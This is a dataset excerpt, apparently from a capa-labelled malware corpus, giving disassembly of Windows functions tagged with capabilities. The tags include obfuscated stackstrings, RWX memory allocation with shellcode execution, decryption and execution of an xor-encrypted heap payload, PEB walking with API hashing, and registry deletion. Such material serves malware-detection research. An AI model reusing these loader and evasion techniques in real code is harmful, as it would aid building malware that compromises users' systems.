joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004246
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rsi
sub rsp, 0x50
mov rax, qword [0x14002d248]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x38], 0x58
mov byte [rsp + 0x39], 0x71
mov byte [rsp + 0x3a], 0x70
mov byte [rsp + 0x3b], 0x64
mov byte [rsp + 0x3c], 0x73
mov byte [rsp + 0x3d], 0x59
mov al, 0x6c
mov byte [rsp + 0x3e], al
mov cl, 0x68
mov byte [rsp + 0x3f], cl
mov byte [rsp + 0x40], 0x7a
mov byte [rsp + 0x41], 0x52
mov byte [rsp + 0x42], 0x69
mov byte [rsp + 0x43], 0x49
mov byte [rsp + 0x44], al
mov byte [rsp + 0x45], 0x6f
mov byte [rsp + 0x46], cl
mov byte [rsp + 0x47], 0
xor eax, eax
add byte [rsp + rax + 0x38], 0xfd
inc rax
cmp rax, 0xf
jne 0x1400042ac
lea rcx, [rsp + 0x24]
mov dword [rcx - 4], 0x1e
mov esi, dword [rcx - 4]
mov r11b, 0xff
mov edx, esi
xor dl, r11b
and dl, 0x4b
mov r8b, 0xb4
and sil, r8b
or sil, dl
mov byte [rcx], sil
mov edx, dword [rcx - 4]
inc dl
mov r9d, edx
xor r9b, r11b
and r9b, 0x9e
and dl, 0x61
or dl, r9b
xor dl, 0xfb
mov byte [rcx + 1], dl
mov edx, dword [rcx - 4]
add dl, 2
mov r9d, edx
xor r9b, r11b
and r9b, 0x72
and dl, 0x8d
or dl, r9b
mov byte [rcx + 2], dl
mov edx, dword [rcx - 4]
add dl, 3
mov r9d, edx
xor r9b, r11b
and r9b, 0xda
and dl, 0x25
or dl, r9b
xor dl, r8b
mov byte [rcx + 3], dl
mov edx, dword [rcx - 4]
add dl, 4
mov r8d, edx
xor r8b, r11b
and r8b, 0xe2
and dl, 0x1d
or dl, r8b
xor dl, 0x87
mov byte [rcx + 4], dl
mov esi, dword [rcx - 4]
mov dl, 0xfa
sub dl, sil
add sil, 5
mov r8b, 0x6c
and dl, r8b
mov r9b, 0x93
and sil, r9b
or sil, dl
mov byte [rcx + 5], sil
mov edx, dword [rcx - 4]
add dl, 6
mov r10d, edx
xor r10b, r11b
and r10b, 0x20
and dl, 0xdf
or dl, r10b
xor dl, 0x13
mov byte [rcx + 6], dl
mov edx, dword [rcx - 4]
mov r10b, 0xf8
sub r10b, dl
add dl, 7
and r10b, 0x19
and dl, 0xe6
or dl, r10b
xor dl, 0x2b
mov byte [rcx + 7], dl
mov edx, dword [rcx - 4]
add dl, 8
mov r10d, edx
xor r10b, r11b
and r10b, 0x2e
and dl, 0xd1
or dl, r10b
mov byte [rcx + 8], dl
mov edx, dword [rcx - 4]
add dl, 9
mov r10d, edx
xor r10b, r11b
and r10b, 0x64
and dl, 0x9b
or dl, r10b
mov byte [rcx + 9], dl
mov edx, dword [rcx - 4]
mov r10b, 0xf5
sub r10b, dl
add dl, 0xa
and r10b, 0xe7
and dl, 0x18
or dl, r10b
xor dl, 0x8b
mov byte [rcx + 0xa], dl
mov edx, dword [rcx - 4]
add dl, 0xb
mov r10d, edx
xor r10b, r11b
and r10b, r8b
and dl, r9b
or dl, r10b
mov byte [rcx + 0xb], dl
mov byte [rcx + 0xc], 0
xor edx, edx
mov r8b, byte [rsp + rdx + 0x24]
mov r9d, dword [rsp + 0x20]
lea esi, [rdx + r9]
mov eax, r11d
sub al, r9b
and al, r8b
not r8b
and sil, r8b
or al, sil
mov byte [rsp + rdx + 0x24], al
inc rdx
dec r11b
cmp rdx, 0xc
jne 0x14000440f
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x38]
call fcn.140002ed4
mov rsi, rax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140009dd0
mov rax, rsi
add rsp, 0x50
pop rsi
ret
Function at 0x140004468
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x60
mov rax, qword [0x14002d248]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x44]
mov dword [rdx - 4], 2
mov byte [rdx], 0x54
mov byte [rdx + 1], 0x6b
mov al, 0x70
mov byte [rdx + 2], al
mov cl, 0x76
mov byte [rdx + 3], cl
mov byte [rdx + 4], 0x77
mov byte [rdx + 5], 0x63
mov byte [rdx + 6], 0x6e
mov byte [rdx + 7], 0x52
mov byte [rdx + 8], al
mov byte [rdx + 9], 0x6d
mov byte [rdx + 0xa], cl
mov byte [rdx + 0xb], 0x67
mov byte [rdx + 0xc], 0x61
mov byte [rdx + 0xd], cl
mov byte [rdx + 0xe], 0
xor eax, eax
mov r8b, 0xff
mov r9b, byte [rsp + rax + 0x44]
mov esi, dword [rsp + 0x40]
mov ecx, r9d
xor cl, r8b
and cl, sil
xor sil, r8b
and sil, r9b
or sil, cl
mov byte [rsp + rax + 0x44], sil
inc rax
cmp rax, 0xe
jne 0x1400044c9
mov byte [rsp + 0x52], 0
lea rcx, [rsp + 0x2c]
mov dword [rcx - 4], 0x1b
mov byte [rcx], 0x50
mov al, 0x7e
mov byte [rcx + 1], al
mov byte [rcx + 2], 0x69
mov byte [rcx + 3], 0x75
mov byte [rcx + 4], al
mov al, 0x77
mov byte [rcx + 5], al
mov byte [rcx + 6], 0x28
mov byte [rcx + 7], 0x29
mov byte [rcx + 8], 0x35
mov byte [rcx + 9], 0x7f
mov byte [rcx + 0xa], al
mov byte [rcx + 0xb], al
mov byte [rcx + 0xc], 0
mov esi, 4
xor r11d, r11d
mov r8b, 0xff
mov r9b, 6
mov r10b, 0xf9
mov al, byte [rsp + rsi + 0x28]
mov edi, dword [rsp + 0x28]
mov ebx, eax
xor bl, r8b
and bl, r9b
and al, r10b
or al, bl
mov ebx, edi
xor bl, r8b
and bl, r9b
and dil, r10b
or dil, bl
xor dil, al
mov byte [rsp + rsi + 0x28], dil
inc r11
inc rsi
cmp rsi, 0x10
jne 0x140004546
mov byte [rsp + 0x38], 0
call fcn.140002ed4
mov rsi, rax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140009dd0
mov rax, rsi
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret

Function at 0x1400048d0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
mov qword [rcx + 0x14], 2
mov dword [rcx + 0x1c], 0
mov dword [rcx + 0x28], 0xbb8
mov eax, dword [section..data]
lea edx, [rax + 1]
mov dword [section..data], edx
mov dword [rcx + 0x24], eax
mov rax, qword [rcx + 8]
lea rdx, [rcx + 0x10]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
xor ecx, ecx
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [0x14002dcd0], rax
test rax, rax
je 0x14000495f
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x1400045a4]
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call fcn.14000df38
mov qword [0x14002dcd8], rax
cmp rax, 1
sbb eax, eax
jmp 0x140004964
mov eax, 0xffffffff
add rsp, 0x38
ret
Function at 0x14000496a
Capabilities:
Terminate thread

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdi, [rsi + 0x10]
movabs rcx, 0x100000003
mov qword [rsi + 0x14], rcx
mov dword [rsi + 0x1c], eax
mov dword [rsi + 0x28], 0xbb8
mov eax, dword [section..data]
lea ecx, [rax + 1]
mov dword [section..data], ecx
mov dword [rsi + 0x24], eax
mov rcx, qword [rsi + 8]
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
mov rcx, qword [0x14002dcd8]
test rcx, rcx
je 0x1400049eb
mov edx, 0x12c
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1400049de
mov rcx, qword [0x14002dcd8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [0x14002dcd8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x14002dcd0]
test rcx, rcx
je 0x140004a08
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x14002dcd0], 0
call qword [sym.imp.KERNEL32.dll_GetLastError]
movabs rcx, 0x100000001
mov qword [rsi + 0x14], rcx
mov dword [rsi + 0x1c], eax
movabs rax, 0xbb800000000
mov qword [rsi + 0x24], rax
mov rcx, qword [rsi + 8]
mov rdx, rdi
add rsp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
Function at 0x140004ae9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x80
mov rax, qword [0x14002d248]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov eax, dword [0x140004a94]
cmp eax, 0x10000
jb 0x140004d20
mov rbx, rcx
test rcx, rcx
je 0x140004b29
cmp byte [rbx], 0
jne 0x140004b61
jmp 0x140004d20
cmp byte [0x14002ede0], 0
je 0x140004b3b
lea rbx, [0x14002ede0]
jmp 0x140004b61
call fcn.1400039ee
lea rbx, [0x14002ede0]
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x410
call rax
cmp byte [0x14002ede0], 0
je 0x140004d3d
mov ecx, 0x68
call fcn.140009a60
mov rsi, rax
mov ecx, 0x18
call fcn.140009a60
mov r15, rax
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi + 0x20], xmm0
movups xmmword [rsi + 0x30], xmm0
movups xmmword [rsi + 0x40], xmm0
movups xmmword [rsi + 0x50], xmm0
xor edi, edi
mov qword [rsi + 0x60], rdi
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov dword [rsi], 0x68
mov dword [rsi + 0x3c], 3
mov word [rsi + 0x40], 0
mov ecx, 0x400
call fcn.140009ad8
mov r14, rax
mov al, 0x64
mov byte [rsp + 0x58], al
mov r9b, 0x6e
mov byte [rsp + 0x59], r9b
mov r8b, 0x65
mov byte [rsp + 0x5a], r8b
mov byte [rsp + 0x5b], 0x2f
mov dl, 0x66
mov byte [rsp + 0x5c], dl
mov byte [rsp + 0x5d], 0x79
mov byte [rsp + 0x5e], dl
mov cl, 0x21
mov byte [rsp + 0x5f], cl
mov byte [rsp + 0x60], 0x30
mov byte [rsp + 0x61], al
mov byte [rsp + 0x62], cl
mov al, 0x75
mov byte [rsp + 0x63], al
mov byte [rsp + 0x64], 0x6a
mov byte [rsp + 0x65], r9b
mov byte [rsp + 0x66], dl
mov byte [rsp + 0x67], 0x70
mov byte [rsp + 0x68], 0x76
mov byte [rsp + 0x69], al
mov byte [rsp + 0x6a], cl
mov byte [rsp + 0x6b], 0x34
mov byte [rsp + 0x6c], cl
mov al, 0x27
mov byte [rsp + 0x6d], al
mov byte [rsp + 0x6e], al
mov byte [rsp + 0x6f], cl
mov byte [rsp + 0x70], r8b
mov byte [rsp + 0x71], dl
mov byte [rsp + 0x72], 0x6d
mov byte [rsp + 0x73], cl
mov byte [rsp + 0x74], 0x26
mov byte [rsp + 0x75], 0x74
mov byte [rsp + 0x76], 0
dec byte [rsp + rdi + 0x58]
inc rdi
cmp rdi, 0x1e
jne 0x140004c5d
lea r8, [rsp + 0x58]
mov edx, 0x400
mov rcx, r14
mov r9, rbx
call fcn.1400053d8
call fcn.1400037a0
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, r14
xor r8d, r8d
xor r9d, r9d
call rax
mov rbx, qword [r15 + 8]
test rbx, rbx
je 0x140004cde
xor ecx, ecx
mov edx, 1
mov r8d, 0x723eb0d5
mov r9d, 0x11
call fcn.14000269b
test rax, rax
je 0x140004cde
mov rcx, rbx
call rax
mov rbx, qword [r15]
test rbx, rbx
je 0x140004d08
xor ecx, ecx
mov edx, 1
mov r8d, 0x723eb0d5
mov r9d, 0x11
call fcn.14000269b
test rax, rax
je 0x140004d08
mov rcx, rbx
call rax
mov rcx, r14
call fcn.140009aa4
mov rcx, r15
call fcn.140009a9c
mov rcx, rsi
call fcn.140009a9c
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140009dd0
nop
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
call fcn.1400039ee
mov rcx, qword [0x14002f2c8]
lea rsi, [0x14002ddb0]
mov rdx, rsi
mov r8d, 0x1024
call rax
test eax, eax
lea rbx, [0x14002ede0]
cmovne rbx, rsi
jmp 0x140004b1f
Function at 0x140004db0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode
Terminate thread

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov r15d, edx
mov rbx, rcx
mov eax, dword [0x140004a94]
xor r14d, r14d
cmp eax, 0x10000
jb 0x140004e1f
xor ecx, ecx
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov edi, 0
test rax, rax
je 0x140004e21
mov rsi, rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x140004d6d]
xor ecx, ecx
xor edx, edx
mov r9, rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r14, rax
mov rdi, rsi
jmp 0x140004e21
xor edi, edi
mov esi, r15d
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x1000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test r15d, r15d
je 0x140004e54
xor eax, eax
mov cl, byte [rbx + rax]
mov byte [rbp + rax], cl
inc rax
cmp rsi, rax
jne 0x140004e45
call rbp
mov rcx, rbp
mov rdx, rsi
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test rdi, rdi
je 0x140004e76
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetEvent]
test r14, r14
je 0x140004ea1
mov rcx, r14
mov edx, 0x64
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x140004e98
mov rcx, r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x140004ebc
mov rcx, rdi
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x140005201
Capabilities:
Create thread
Terminate thread

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x60
mov rax, qword [0x14002d248]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rsi, qword [sym.imp.KERNEL32.dll_CreateEventA]
xor edi, edi
xor ecx, ecx
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call rsi
mov qword [0x14002dd98], rax
xor ecx, ecx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call rsi
mov qword [0x14002dda0], rax
xor ecx, ecx
xor edx, edx
mov r8d, 1
xor r9d, r9d
call rsi
mov qword [0x14002dda8], rax
mov rcx, qword [0x14002dd98]
test rcx, rcx
setne dl
cmp qword [0x14002dda0], rdi
setne bl
xor bl, dl
not bl
and bl, dl
test rax, rax
setne dl
xor dl, bl
cmp dl, 1
je 0x14000537d
test rax, rax
je 0x14000537d
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x30], xmm0
xor edi, edi
lea rbx, [0x140004eca]
xor esi, esi
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov edx, 0x10000
mov r8, rbx
mov r9, rdi
call fcn.14000df38
mov ecx, esi
mov qword [rsp + rcx*8 + 0x30], rax
cmp rax, 1
sbb esi, 0xffffffff
inc rdi
cmp rdi, 4
jne 0x1400052b2
test esi, esi
jne 0x1400052fd
mov rcx, qword [0x14002dd98]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rcx, qword [0x14002dd98]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0x30]
mov ecx, esi
mov r8d, 1
mov r9d, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test eax, eax
je 0x140005376
test esi, esi
je 0x140005376
mov al, 1
test al, al
je 0x140005376
mov esi, esi
xor edi, edi
mov r14, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rsp + rdi*8 + 0x30]
xor edx, edx
call r14
test eax, eax
je 0x140005367
mov rcx, qword [rsp + rdi*8 + 0x30]
xor edx, edx
call r15
mov rcx, qword [rsp + rdi*8 + 0x30]
call rbx
inc rdi
cmp rsi, rdi
jne 0x14000534f
mov rcx, qword [0x14002dd98]
test rcx, rcx
je 0x140005388
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x14002dda0]
test rcx, rcx
je 0x14000539a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x14002dda8]
test rcx, rcx
je 0x1400053ac
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x14002dd78]
test rcx, rcx
je 0x1400053bd
call fcn.140009aa4
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140009dd0
xor eax, eax
add rsp, 0x60
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x14000817c
Capabilities:
Query or enumerate registry key

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x198
movaps xmmword [rsp + 0x180], xmm6
mov rbp, rdx
mov rdi, rcx
mov rax, qword [0x14002d248]
xor rax, rsp
mov qword [rsp + 0x178], rax
xor eax, eax
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x60], 0
mov qword [rsp + 0x68], rax
mov esi, dword [rcx + 8]
mov ecx, esi
not ecx
and ecx, 0x77caaf18
mov edx, esi
and edx, 0x883550e7
or edx, ecx
xor edx, 0x77c8af07
mov r9d, esi
and r9d, 0x2001f
or r9d, edx
mov rcx, qword [rdi]
lea rdx, [rsp + 0x70]
mov qword [rdx], rax
mov qword [rsp + 0x20], rdx
mov rdx, rbp
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140008214
mov ebx, eax
jmp 0x140008308
lea r8, [rsp + 0x70]
mov rbx, qword [r8]
mov qword [rsp + 0x58], rbx
mov eax, esi
xor eax, 0xfffffcff
and eax, esi
mov dword [rsp + 0x60], eax
lea r9, [rsp + 0x4c]
mov dword [r9], 0x100
lea r13, [rsp + 0x50]
mov qword [rsp + 0x38], r13
xor eax, eax
mov qword [rsp + 0x30], rax
xorps xmm6, xmm6
movups xmmword [rsp + 0x20], xmm6
mov rcx, rbx
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x1400082c3
mov qword [rsp + 0x40], rbp
lea r15, [rsp + 0x58]
lea rsi, [rsp + 0x70]
xor ebp, ebp
lea r12, [rsp + 0x4c]
mov r14, qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov rcx, r15
mov rdx, rsi
call fcn.14000817c
test eax, eax
jne 0x1400082ed
mov dword [rsp + 0x4c], 0x100
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], rbp
movups xmmword [rsp + 0x20], xmm6
xor edx, edx
mov r8, rsi
mov r9, r12
call r14
test eax, eax
je 0x14000827f
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x40]
test rbx, rbx
je 0x1400082da
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x58], 0
mov dword [rsp + 0x60], 0
mov rcx, rdi
mov rdx, rbp
call fcn.140008d12
mov ebx, eax
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140008308
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x58], 0
mov rcx, qword [rsp + 0x178]
xor rcx, rsp
call fcn.140009dd0
mov eax, ebx
movaps xmm6, xmmword [rsp + 0x180]
add rsp, 0x198
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140008d12
Capabilities:
Delete registry key

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rsi, rdx
mov rdi, rcx
mov rbx, qword [rcx + 0x10]
test rbx, rbx
je 0x140008d85
mov rdi, qword [rdi]
cmp qword [rbx], 0
je 0x140008de1
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140008dec
lea rdx, str.RegDeleteKeyTransactedA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140008dec
mov rcx, qword [rbx]
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 0
mov rcx, rdi
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call rax
jmp 0x140008df1
cmp byte [0x14002f210], 0
jne 0x140008dbe
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140008db7
lea rdx, str.RegDeleteKeyExA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14002f208], rax
mov byte [0x14002f210], 1
mov rax, qword [0x14002f208]
test rax, rax
je 0x140008df9
mov r8d, dword [rdi + 8]
mov rcx, qword [rdi]
mov rdx, rsi
xor r9d, r9d
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp rax
cmp dword [rbx + 8], 0
je 0x140008dec
mov rcx, rdi
jmp 0x140008dfc
mov eax, 1
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, qword [rdi]
mov rdx, rsi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]

Function at 0x14000e144
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000e274
Function at 0x140017ac0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, qword [0x140268040]
mov edi, ecx
cmp byte [rbx + 0x4a75], 0
jne 0x140017b12
cmp byte [rbx + 0x4a76], 0
jne 0x140017b12
movsx r9d, word [rbx + 0x5b8a]
lea r8, str.Tooltip__02d
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x20]
call fcn.140003d90
test dil, 1
je 0x140017c38
jmp 0x140017b9d
movss xmm1, dword [rbx + 0x3898]
lea r8, str.Tooltip__02d
movaps xmm0, xmm1
lea rcx, [rsp + 0x20]
mulss xmm0, dword [0x1400ff4c8]
xor eax, eax
mov edx, reloc.WS2_32.dll_recv
mulss xmm1, dword [0x1400ff4ac]
addss xmm0, dword [rbx + 0xdfc]
addss xmm1, dword [rbx + 0xe00]
mov qword [rbx + 0x47d8], rax
mov dword [rbx + 0x47c4], 1
movss dword [rbx + 0x47d0], xmm0
movss dword [rbx + 0x47d4], xmm1
movss xmm0, dword [rbx + 0x3900]
mulss xmm0, dword [0x1400ff400]
or dword [rbx + 0x47c0], 0x41
movss dword [rbx + 0x4820], xmm0
movsx r9d, word [rbx + 0x5b8a]
call fcn.140003d90
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x140017bf0
lea r11, [0x1400f5820]
nop dword [rax]
cmp r9b, 0x23
jne 0x140017bd3
cmp byte [r8], r9b
jne 0x140017bd3
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140017bc0
not ecx
call fcn.14000c9f0
test rax, rax
je 0x140017c38
cmp byte [rax + 0xae], 0
je 0x140017c38
mov byte [rax + 0xb5], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xd0], 1
lea rcx, [rsp + 0x20]
inc word [rbx + 0x5b8a]
mov edx, reloc.WS2_32.dll_recv
movsx r9d, word [rbx + 0x5b8a]
call fcn.140003d90
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.14000f510
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x180004760
Capabilities:
Check mutex on windows

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
call fcn.180001f80
lea rax, [0x1803521d5]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xbcd06505
mov edx, dword [rsp + 0x30]
call fcn.180003ad0
mov ecx, 0xff9f5324
xor ecx, dword [rax]
movzx eax, byte [rax + 4]
xor al, 0xf9
mov dword [rsp + 0x28], ecx
mov byte [rsp + 0x2c], al
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x28]
mov r8d, 5
call fcn.1800df650
xor eax, eax
cmp rax, qword [rsp + 0x58]
jno 0x18000494d
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
xor ecx, ecx
xor edx, edx
mov r8, rdi
call sub.kernel32.dll_CreateMutexA
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
je 0x180004925
call fcn.180007810
mov ecx, 0x7d0
call fcn.1800060d0
mov rax, qword [0x180380fe8]
movzx eax, byte [rax]
mov r14d, 1
mov ecx, 0x24cbd5
mov edx, 1
call fcn.18000a890
test rax, rax
je 0x180004987
mov rbx, rax
movabs r12, 0x8000000000000000
lea rdx, [0x180105490]
mov r8d, 0x24cbd5
mov rcx, rax
call sub.msvcrt.dll_memcpy
lea rax, [0x180352065]
nop word cs:[rax + rax]
lea ecx, [r14 - 1]
and ecx, 0x1e
movzx ecx, byte [rcx + rax]
xor byte [rbx + r14 - 1], cl
cmp r14, 0x24cbd5
je 0x18000488d
mov ecx, r14d
and ecx, 0x1f
movzx ecx, byte [rcx + rax]
xor byte [rbx + r14], cl
add r14, 2
jmp 0x180004860
mov ecx, 0x40000
xor edx, edx
xor r8d, r8d
call sub.kernel32.dll_HeapCreate
mov r14, rax
mov r8d, 0x24cbd5
mov rcx, rax
mov edx, 8
call fcn.180102354
mov r15, rax
call sub.kernel32.dll_GetLastError
test eax, eax
jne 0x180004912
mov ecx, 0xfa0
call fcn.1800060d0
lea rcx, [rsp + 0x30]
call fcn.180006880
mov rdx, qword [rsp + 0x30]
cmp rdx, r12
je 0x1800048f1
test rdx, rdx
je 0x1800048f1
mov rcx, qword [rsp + 0x38]
mov r8d, 1
call fcn.18000a8a0
mov r8d, 0x24cbd5
mov rcx, r15
mov rdx, rbx
call sub.msvcrt.dll_memmove
call r15
mov rcx, r14
xor edx, edx
mov r8, r15
call fcn.180102364
mov edx, 0x24cbd5
mov r8d, 1
mov rcx, rbx
call fcn.18000a8a0
mov byte [rdi], 0
test rsi, rsi
je 0x18000493e
mov r8d, 1
mov rcx, rdi
mov rdx, rsi
call fcn.18000a8a0
nop
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
movups xmm0, xmmword [rsp + 0x58]
movups xmm1, xmmword [rsp + 0x68]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rax, [0x180105478]
mov qword [rsp + 0x20], rax
lea r9, [0x1801053f8]
lea r8, [rsp + 0x30]
mov ecx, 1
xor edx, edx
call fcn.1800ebdf0
jmp 0x180004996
mov ecx, 1
mov edx, 0x24cbd5
call fcn.1800debd0
ud2
Function at 0x180007810
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x60
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rbx, qword [rax + 0x18]
add rbx, 0x10
lea rsi, [rsp + 0x50]
lea rdi, [rsp + 0x30]
nop word cs:[rax + rax]
mov rbx, qword [rbx]
cmp qword [rbx + 0x30], 0
je 0x1800078eb
mov rax, qword [rbx + 0x60]
movzx ecx, word [rbx + 0x58]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], 0
mov rcx, rsi
mov rdx, rdi
xor r8d, r8d
call fcn.18000a3b0
cmp dword [rsp + 0x50], 1
je 0x1800078f4
cmp dword [rsp + 0x54], 0xaddfe535
jne 0x180007840
mov rsi, qword [rbx + 0x30]
lea rcx, [rsp + 0x30]
mov rdx, rsi
mov r8d, 0xa2b1807f
call fcn.180007940
lea rcx, [rsp + 0x30]
mov rdx, rsi
mov r8d, 0xced7e31f
call fcn.180007940
lea rcx, [rsp + 0x30]
mov rdx, rsi
mov r8d, 0x91c3ed4a
call fcn.180007940
lea rcx, [rsp + 0x30]
mov rdx, rsi
mov r8d, 0xb2036547
call fcn.180007940
lea rcx, [rsp + 0x30]
mov rdx, rsi
mov r8d, 0xa596d8ce
call fcn.180007940
nop
add rsp, 0x60
